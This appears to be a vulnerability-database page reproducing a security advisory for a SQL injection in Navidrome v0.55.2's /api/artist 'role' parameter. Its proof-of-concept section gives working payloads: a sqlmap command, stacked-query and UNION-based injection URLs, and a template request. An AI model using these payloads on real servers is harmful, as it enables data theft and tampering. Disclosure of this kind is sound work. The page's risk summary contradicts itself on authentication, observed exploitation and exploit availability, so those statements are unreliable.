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GHSA-5wgp-vjxm-3x2r

HighCVSS 8.9 / 10
Published May 29, 2025·Last modified Jun 3, 2025
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Description

🛡 Security Advisory: SQL Injection Vulnerability in Navidrome v0.55.2

Overview

This vulnerability arises due to improper input validation on the role parameter within the API endpoint /api/artist. Attackers can exploit this flaw to inject arbitrary SQL queries, potentially gaining unauthorized access to the backend database and compromising sensitive user information.

Details

  • Vulnerable Component: API endpoint → /api/artist Parameter → role

  • Vulnerability Type: SQL Injection (stacked queries, UNION queries)

  • Database Affected: SQLite (confirmed exploitation via SQLite-specific payloads)

  • Impact: Successful exploitation allows an unauthenticated attacker to:

    • Execute arbitrary SQL commands
    • Extract or manipulate sensitive data (e.g., user records, playlists)
    • Potentially escalate privileges or disrupt service availability

Proof of Concept (PoC)

Example Exploit Command:

sqlmap.py -r navi --level 5 --risk 3 -a --banner --batch --tamper charencode --dbms sqlite

Sample Payloads:

  • Stacked Queries:

    http://navidrome/api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist');SELECT LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))--

  • UNION-Based Query:

    http://navidrome.local/api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist') UNION ALL SELECT 92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,CHAR(113,98,118,98,113)||CHAR(113,84,86,119,114,71,106,104,90,118,120,104,79,66,104,108,121,106,70,68,90,113,104,117,67,98,113,67,103,84,71,120,119,119,117,121,81,76,100,71)||CHAR(113,120,112,106,113),92,92,92,92-- Mtny

Example HTTP Request:

GET /api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist* HTTP/2
Host: <TARGET HOST>
Cookie: <REPLACE WITH VALID COOKIE>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: application/json
X-Nd-Authorization: <REPLACE WITH AUTH TOKEN>
X-Nd-Client-Unique-Id: <REPLACE WITH CLIENT ID>
Risk Scores
Base Score
8.9

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.

Threat Intelligence
8.1

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
0.42%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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